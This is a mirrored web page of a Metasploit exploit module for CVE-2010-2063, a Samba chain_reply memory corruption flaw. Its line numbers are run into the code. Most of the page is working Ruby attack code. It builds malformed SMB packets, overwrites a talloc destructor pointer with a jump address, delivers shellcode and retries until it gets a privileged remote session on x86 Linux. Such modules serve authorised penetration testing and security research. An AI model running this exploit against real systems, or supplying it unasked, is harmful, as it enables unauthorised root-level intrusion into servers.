CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/linux/samba/chain_reply.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::SMB::Client9include Msf::Exploit::Brute1011def initialize(info = {})12super(update_info(info,13'Name' => 'Samba chain_reply Memory Corruption (Linux x86)',14'Description' => %q{15This exploits a memory corruption vulnerability present in Samba versions16prior to 3.3.13. When handling chained response packets, Samba fails to validate17the offset value used when building the next part. By setting this value to a18number larger than the destination buffer size, an attacker can corrupt memory.19Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will20cause the header of the input buffer chunk to be corrupted.2122After close inspection, it appears that 3.0.x versions of Samba are not23exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot24cause memory to be corrupted in an exploitable way. It is possible to corrupt the25heap header of the "InputBuffer", but it didn't seem possible to get the chunk26to be processed again prior to process exit.2728In order to gain code execution, this exploit attempts to overwrite a "talloc29chunk" destructor function pointer.3031This particular module is capable of exploiting the flaw on x86 Linux systems32that do not have the nx memory protection.3334NOTE: It is possible to make exploitation attempts indefinitely since Samba forks35for user sessions in the default configuration.36},37'Author' =>38[39'Jun Mao', #Initial discovery40'jduck'41],42'License' => MSF_LICENSE,43'References' =>44[45[ 'CVE', '2010-2063' ],46[ 'OSVDB', '65518' ],47[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ]48],49'Privileged' => true,50'Payload' =>51{52'Space' => 0x600,53'BadChars' => "",54},55'Platform' => 'linux',56'Targets' =>57[58[ 'Linux (Debian5 3.2.5-4lenny6)',59{60'Offset2' => 0x1fec,61'Bruteforce' =>62{63'Start' => { 'Ret' => 0x081ed5f2 }, # jmp ecx (smbd bin)64'Stop' => { 'Ret' => 0x081ed5f2 },65'Step' => 0x300 # not used66}67}68],6970[ 'Debugging Target',71{72'Offset2' => 0x1fec,73'Bruteforce' =>74{75'Start' => { 'Ret' => 0xAABBCCDD },76'Stop' => { 'Ret' => 0xAABBCCDD },77'Step' => 0x30078}79}80],81],82'DefaultTarget' => 0,83'DisclosureDate' => '2010-06-16'))8485register_options(86[87Opt::RPORT(139)88])8990deregister_options('SMB::ProtocolVersion')91end9293#94# Note: this code is duplicated from lib/rex/proto/smb/client.rb95#96# Authenticate using clear-text passwords97#98def session_setup_clear_ignore_response(user = '', pass = '', domain = '')99100data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join('');101102pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct103self.simple.client.smb_defaults(pkt['Payload']['SMB'])104105pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX106pkt['Payload']['SMB'].v['Flags1'] = 0x18107pkt['Payload']['SMB'].v['Flags2'] = 0x2001108pkt['Payload']['SMB'].v['WordCount'] = 10109pkt['Payload'].v['AndX'] = 255110pkt['Payload'].v['MaxBuff'] = 0xffdf111pkt['Payload'].v['MaxMPX'] = 2112pkt['Payload'].v['VCNum'] = 1113pkt['Payload'].v['PasswordLen'] = pass.length + 1114pkt['Payload'].v['Capabilities'] = 64115pkt['Payload'].v['SessionKey'] = self.simple.client.session_id116pkt['Payload'].v['Payload'] = data117118self.simple.client.smb_send(pkt.to_s)119ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)120end121122123def brute_exploit(addrs)124125curr_ret = addrs['Ret']126127# Although ecx always points at our buffer, sometimes the heap data gets modified128# and nips off the final byte of our 5 byte jump :(129#130# Solution: try repeatedly until we win.131#13250.times{133134begin135print_status("Trying return address 0x%.8x..." % curr_ret)136137connect(versions: [1])138self.simple.client.session_id = rand(31337)139140#select(nil,nil,nil,2)141#puts "press any key"; $stdin.gets142143#144# This allows us to allocate a talloc_chunk after the input buffer.145# If doing so fails, we are lost ...146#14710.times {148session_setup_clear_ignore_response('', '', '')149}150151# We re-use a pointer from the stack and jump back to our original "inbuf"152distance = target['Offset2'] - 0x80153jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string154155tlen = 0xc00156trans =157"\x00\x04" +158"\x08\x20" +159"\xff"+"SMB"+160# SMBlogoffX161[0x74].pack('V') +162# tc->next, tc->prev163jmp_back + ("\x42" * 3) +164#("A" * 4) + ("B" * 4) +165# tc->parent, tc->child166"CCCCDDDD" +167# tc->refs, must be zero168("\x00" * 4) +169# over writes tc->destructor170[addrs['Ret']].pack('V') +171"\x00\x00\x00\x00"+172"\xd0\x07\x0c\x00"+173"\xd0\x07\x0c\x00"+174"\x00\x00\x00\x00"+175"\x00\x00\x00\x00"+176"\x00\x00\xd0\x07"+177"\x43\x00\x0c\x00"+178"\x14\x08\x01\x00"+179"\x00\x00\x00\x00"+180"\x00\x00\x00\x00"+181"\x00\x00\x00\x00"+182"\x00\x00\x00\x00"+183"\x00\x00\x00\x00"+184"\x00\x00\x00\x00"+185"\x00\x00\x00\x00"+186"\x00\x00\x90"187188# We put the shellcode first, since only part of this packet makes it into memory.189trans << payload.encoded190trans << rand_text(tlen - trans.length)191192# Set what eventually becomes 'smb_off2' to our unvalidated offset value.193smb_off2 = target['Offset2']194trans[39,2] = [smb_off2].pack('v')195196sock.put(trans)197198rescue EOFError199# nothing200rescue => e201print_error("#{e}")202end203204handler205disconnect206207# See if we won yet..208select(nil,nil,nil, 1)209break if session_created?210}211end212end213214215